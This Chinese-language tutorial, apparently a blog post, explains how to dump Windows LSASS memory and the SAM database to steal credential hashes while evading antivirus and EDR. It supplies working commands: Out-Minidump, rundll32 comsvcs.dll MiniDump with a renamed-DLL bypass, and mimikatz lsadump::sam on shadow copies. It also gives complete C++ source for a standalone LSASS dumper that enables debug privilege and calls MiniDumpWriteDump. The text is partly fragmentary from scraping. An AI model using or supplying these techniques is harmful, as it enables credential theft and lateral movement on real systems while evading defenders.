为什么需要转存储?为了降低mimikatz上传后被杀软发现的风险! 为啥需要转存储Lsass和SAM这两个?因为他们两都和账号密码,哈希值这些敏感信息密切相关!
C:\Users\用户名\AppData\Local\Temp
),由于使用要求过高这种方法并不常用。方案一:利用"蓝屏"的攻击手段,导致Lsass.exe程序中断,然后对程序进行拷贝复制(dump操作)(但是,我们无法保证蓝屏后防守方不会发觉,并且进行应急响应,导致攻击失败) 方案二:调用API函数,做到不kill进程,进行转存储操作(也有风险),但是可能需要修改目标主机注册表的键值,导致EDR平台的报警
// 导入
Import-Module Out-MiniDump
//执行
Get-Process lsass | Out-Minidump
首先查看lsass.exe进程PID:命令格式: rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full
直接利用发现会被拦截: rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 564 lsass.dmp full
copy C:\windows\System32\comsvcs.dll 110.dll
rundll32.exe 110.dll, MiniDump 508 lsass.dmp full
(向右滑动,查看更多)
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
using namespace std;
#define INFO_BUFFER_SIZE 32767
std::wstring s2ws(const std::string& s)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限
{
CloseHandle(hToken);
return false;
}
return true;
}
int main() {
char filename[INFO_BUFFER_SIZE];
char infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
GetComputerNameA(infoBuf, &bufCharCount);
strcpy_s(filename, infoBuf);
strcat_s(filename, "-");
strcat_s(filename, "lsass.dmp");
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {}; // 拍摄快照时驻留在系统地址空间里的进程列表结构体
processEntry.dwSize = sizeof(PROCESSENTRY32); //结构大小
LPCWSTR processName = L""; //进程名
if (Process32First(snapshot, &processEntry)) { //检索快照中第一个进程的信息
while (_wcsicmp(processName, L"lsass.exe") != 0) { //循环检索快照中的进程
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile; // 获取当前进程的进程名
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
if (EnableDebugPrivilege() == false)
{
printf("enable %d", GetLastError());
}
EnableDebugPrivilege();
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程,获取句柄
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储lsass,写入outfile
if (isDumped) {
cout << "[+] Save To " << filename << endl;
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
1.提升权限。因为lsass进程的权限为system权限,所以想要对其操作首先要提升自身进程权限为debug权限。 2.对所有进程拍摄快照,然后循环检索lsass进程id 3.将lsass内存的快照进行转储,并写入文件
lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
(向右滑动,查看更多)
%SystemRoot%\system32\config\sam
中,我们需要高权限直接转存储。但是要求较高,一般攻击Lsass.exe,所以不常见!精彩推荐